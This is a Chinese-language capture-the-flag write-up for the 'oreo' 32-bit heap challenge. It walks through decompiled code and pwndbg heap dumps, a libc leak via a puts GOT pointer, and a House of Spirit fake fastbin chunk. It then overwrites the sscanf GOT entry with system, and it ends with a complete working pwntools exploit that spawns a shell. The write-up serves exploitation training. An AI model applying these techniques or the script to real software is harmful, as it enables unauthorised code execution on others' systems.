oreo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ➜ [/home/ywhkkx/桌面] ./oreo Welcome to the OREO Original Rifle Ecommerce Online System! ,______________________________________ |_________________,----------._ [____] -,__ __....-----===== (_(||||||||||||)___________/ | `----------' OREO [ ))"-, | "" `, _,--....___ | `/ """" What would you like to do? 1. Add new rifle 2. Show added rifles 3. Order selected rifles 4. Leave a Message with your Order 5. Show current stats 6. Exit! Action:
1 2 3 4 5 6 7 8 oreo: ELF 32 -bit LSB executable, Intel 80386 , version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2 , for GNU/Linux 2.6 .26 , BuildID[sha1]=f591eececd05c63140b9d658578aea6c24450f8b, stripped [*] '/home/ywhkkx/桌面/oreo' Arch: i386-32 -little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000 )
32位,dynamically,开了canary,开了NX,libc-2.23
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned int Add () { char *v1; unsigned int canary; canary = __readgsdword(0x14 u); v1 = chunk_list; chunk_list = malloc (0x38 u); if ( chunk_list ) { *(chunk_list + 13 ) = v1; printf ("Rifle name: " ); fgets(chunk_list + 25 , 56 , stdin ); change(chunk_list + 25 ); printf ("Rifle description: " ); fgets(chunk_list, 56 , stdin ); change(chunk_list); ++new_times; } else { puts ("Something terrible happened!" ); } return __readgsdword(0x14 u) ^ canary; }
1 2 3 4 5 6 pwndbg> x/20 xw 0x804A288 0x804a288 : 0x0804ba00 0x00000000 0x00000000 0x00000000 0x804a298 : 0x00000000 0x00000000 0x00000000 0x00000002 0x804a2a8 : 0x0804a2c0 0x00000000 0x00000000 0x00000000 0x804a2b8 : 0x00000000 0x00000000 0x00000000 0x00000000 0x804a2c8 : 0x00000000 0x00000000 0x00000000 0x00000000
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 pwndbg> telescope 0x804b9b8 00 :0000 │ 0x804b9b8 ◂— 0x0 01 :0004 │ 0x804b9bc ◂— 0x41 02 :0008 │ 0x804b9c0 ◂— 'AAAAAAAA' 03 :000 c│ 0x804b9c4 ◂— 'AAAA' 04 :0010 │ 0x804b9c8 ◂— 0x0 ... ↓ 3 skipped 08 :0020 │ 0x804b9d8 ◂— 0x61616100 09 :0024 │ 0x804b9dc ◂— 'aaaaa' 0 a:0028 │ 0x804b9e0 ◂— 0x61 0b :002 c│ 0x804b9e4 ◂— 0x0 ... ↓ 4 skipped 10 :0040 │ 0x804b9f8 ◂— 0x0 11 :0044 │ 0x804b9fc ◂— 0x41 12 :0048 │ 0x804ba00 ◂— 'BBBBBBBB' 13 :004 c│ 0x804ba04 ◂— 'BBBB' 14 :0050 │ 0x804ba08 ◂— 0x0 ... ↓ 3 skipped 18 :0060 │ 0x804ba18 ◂— 0x62626200 19 :0064 │ 0x804ba1c ◂— 'bbbbb' 1 a:0068 │ 0x804ba20 ◂— 0x62 1b :006 c│ 0x804ba24 ◂— 0x0 ... ↓ 3 skipped 1f :007 c│ 0x804ba34 —▸ 0x804b9c0 ◂— 'AAAAAAAA' 20 :0080 │ 0x804ba38 ◂— 0x0 21 :0084 │ 0x804ba3c ◂— 0x41 22 :0088 │ 0x804ba40 ◂— 'CCCCCCCC' 23 :008 c│ 0x804ba44 ◂— 'CCCC' 24 :0090 │ 0x804ba48 ◂— 0x0 ... ↓ 3 skipped 28 :00 a0│ 0x804ba58 ◂— 0x63636300 29 :00 a4│ 0x804ba5c ◂— 'ccccc' 2 a:00 a8│ 0x804ba60 ◂— 0x63 2b :00 ac│ 0x804ba64 ◂— 0x0 ... ↓ 3 skipped 2f :00b c│ 0x804ba74 —▸ 0x804ba00 ◂— 'BBBBBBBB' 30 :00 c0│ 0x804ba78 ◂— 0x0 31 :00 c4│ 0x804ba7c ◂— 0x21589
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pwndbg> x/20 wx 0x804b9b8 0x804b9b8 : 0x00000000 0x00000041 0x41414141 0x41414141 0x804b9c8 : 0x00000000 0x00000000 0x00000000 0x00000000 0x804b9d8 : 0x61616100 0x61616161 0x00000061 0x00000000 0x804b9e8 : 0x00000000 0x00000000 0x00000000 0x00000000 0x804b9f8 : 0x00000000 0x00000041 0x42424242 0x42424242 0x804ba08 : 0x00000000 0x00000000 0x00000000 0x00000000 0x804ba18 : 0x62626200 0x62626262 0x00000062 0x00000000 0x804ba28 : 0x00000000 0x00000000 0x00000000 0x0804b9c0 0x804ba38 : 0x00000000 0x00000041 0x43434343 0x43434343 0x804ba48 : 0x00000000 0x00000000 0x00000000 0x00000000 0x804ba58 : 0x63636300 0x63636363 0x00000063 0x00000000 0x804ba68 : 0x00000000 0x00000000 0x00000000 0x0804ba00 0x804ba78 : 0x00000000 0x00021589 0x00000000 0x00000000
输入的 description 可以溢出到下一个 chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 unsigned int Show () { char *i; unsigned int canary; canary = __readgsdword(0x14 u); printf ("Rifle to be ordered:\n%s\n" , "===================================" ); for ( i = chunk_list; i; i = *(i + 13 ) ) { printf ("Name: %s\n" , i + 25 ); printf ("Description: %s\n" , i); puts ("===================================" ); } return __readgsdword(0x14 u) ^ canary; }
chunk_list 中装有当前 chunk 的地址,它的遍历完全依靠末尾的地址(向前遍历),完全可以劫持末尾的地址来打印函数
比如把它劫持为“puts_got - 25”,程序会把“puts_got”当成下一个 chunk 的 name
// 当然也可以劫持为“puts_got”,程序会把“puts_got”当成下一个 chunk 的 description
1 2 3 4 5 6 7 8 9 10 11 12 puts_got=elf.got['puts' ] payload='aaa' +'bbbb' *6 +p32(puts_got-25 ) add(payload,"chunk1" ) show() p.readuntil("Name: " ) leak_addr=u32(p.read(4 )) libc_base=leak_addr-libc.sym['puts' ] success('leak_addr >> ' +hex (leak_addr)) success('libc_base >> ' +hex (libc_base)) system_libc=libc_base+libc.sym['system' ] success('system_libc >> ' +hex (system_libc))
可以打 house of spirit,其核心为:free一个假的chunk,下次malloc把它申请回来
为了绕过 libc 对 free fastbin 的检查,需要设置“chunk->size”和“nextchunk->size”
1 2 3 4 5 6 7 8 9 10 .bss:0804 A2A0 order_times dd ? ; DATA XREF: Order+5 A↑r .bss:0804 A2A0 ; Order+62 ↑w ... .bss:0804 A2A4 new_times dd ? .bss:0804 A2A4 ; Add+CD↑w ... .bss:0804 A2A8 ; char *message .bss:0804 A2A8 message dd ? ; DATA XREF: Message+23 ↑r .bss:0804 A2A8 ; Message+3 C↑r ... .bss:0804 A2AC align 20 h .bss:0804 A2C0 message_addr db .bss:0804 A2C1 db ? ;
new_times 在申请 chunk 后会增加“1”,所以可以申请“0x40”个 chunk 来伪造“chunk->size”,那么“nextchunk->size”就应该在“0x804A2A4+0x40=0x804a2e4”,这一大片空间都是用来存放“message”的,并且可以控制
1 2 3 4 5 6 7 8 9 fake_heap = 0x804A2A4 for x in range (0x40 -1 ): add("mm" , "gg" ) payload = "aaa" + "bbbb" *6 + p32(fake_heap+4 ) add(payload, "chunkn" ) message = "\x00\x00\x00\x00" *9 + p32(0x41 ) leave(message)
先覆盖末尾的“lastchunk->FD”为“fake_heap+8”
1 2 3 4 5 6 7 8 9 10 11 12 pwndbg> telescope 0x804A2A4 00 :0000 │ 0x804a2a4 ◂— 0x41 01 :0004 │ 0x804a2a8 —▸ 0x804a2c0 ◂— 0x0 02 :0008 │ 0x804a2ac ◂— 0x0 ... ↓ 5 skipped pwndbg> 08 :0020 │ 0x804a2c4 ◂— 0x0 ... ↓ 7 skipped pwndbg> 10 :0040 │ 0x804a2e4 ◂— 0x41 11 :0044 │ 0x804a2e8 ◂— 0xa 12 :0048 │ 0x804a2ec ◂— 0x0
接下来可以进行 free 了,最后打 GOT 劫持:
1 2 3 4 free() add("name" , p32(scanf_got)) leave(p32(system_libc)) p.sendline("/bin/sh\0" )
1 2 3 4 5 6 7 8 9 pwndbg> bins fastbins 0x10 : 0x0 0x18 : 0x0 0x20 : 0x0 0x28 : 0x0 0x30 : 0x0 0x38 : 0x0 0x40 : 0x804a2a0 —▸ 0x9d72810 ◂— 0x0
free 执行后,“0x804a2a0”进入 fastbin ,下一次就会申请这个地址,并且把“description”写在“0x804a2a0+0x8”(这刚好是 message 的地址,写 message 时会进行劫持)
1 2 3 4 5 6 pwndbg> telescope 0x804a2a0 00 :0000 │ 0x804a2a0 ◂— 0x1 01 :0004 │ 0x804a2a4 ◂— 0x42 02 :0008 │ 0x804a2a8 —▸ 0x804a258 (__isoc99_sscanf@got.plt) —▸ 0xf7e6b4d0 (__isoc99_sscanf) ◂— sub esp, 0xc 03 :000 c│ 0x804a2ac ◂— 0x0 ... ↓ 4 skipped
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *context.log_level = "debug" def add (name, descrip ): p.readuntil("Action:" ) p.sendline("1" ) p.readuntil("name:" ) p.sendline(name) p.readuntil("description:" ) p.sendline(descrip) def show (): p.readuntil("Action:" ) p.sendline("2" ) p.readuntil("Name: " ) p.readuntil("Name: " ) return u32(p.read(4 )) def free (): p.readuntil("Action:" ) p.sendline("3" ) def leave (message ): p.readuntil("Action:" ) p.sendline("4" ) p.readuntil("order: " ) p.sendline(message) p = process("oreo" , stdin=PTY) elf=ELF('./oreo' ) libc=ELF('./libc-2.23.so' ) puts_got=elf.got['puts' ] payload='aaa' +'bbbb' *6 +p32(puts_got) add(payload,"chunk1" ) show() p.readuntil("cription: " ) leak_addr=u32(p.read(4 )) libc_base=leak_addr-libc.sym['puts' ] success('leak_addr >> ' +hex (leak_addr)) success('libc_base >> ' +hex (libc_base)) system_libc=libc_base+libc.sym['system' ] success('system_libc >> ' +hex (system_libc)) scanf_got = 0x804A258 fake_heap = 0x804A2A4 system_offset = 0x3ada0 for x in range (0x40 -1 ): add("mm" , "gg" ) payload = "aaa" + "bbbb" *6 + p32(fake_heap+4 ) add(payload, "chunkn" ) message = "\x00\x00\x00\x00" *9 + p32(0x41 ) leave(message) free() add("name" , p32(scanf_got)) leave(p32(system_libc)) p.sendline("/bin/sh\0" ) p.interactive()
house of spirit 小结 (2.23)
house of spirit 的核心在于free掉一个伪造的chunk
特点归纳如下:
需要修改模块
不需要可控的释放模块
需要一些“计数器”方便伪造“chunk->size”和“nextchunk->size”
伪造“chunk->size”和“nextchunk->size”就是这种攻击的关键,确定了目标地址后,需要思考“下一个chunk”是否可控(为了写入“nextchunk->size”),有时可以通过调整“chunk->size”来把“下一个chunk”伪造到可控的区域内
注意:“chunk->size”要符合内存对齐,还要保证后续malloc可以申请回来,“nextchunk->size”随便
打算使用这种攻击前,先看看“计数器”的位置,主要看它后面有没有可以控制的区域,然后看修改模块可不可以控制这些区域,如果这两个条件都可以完成,就可以打“GOT劫持”或者“hook劫持”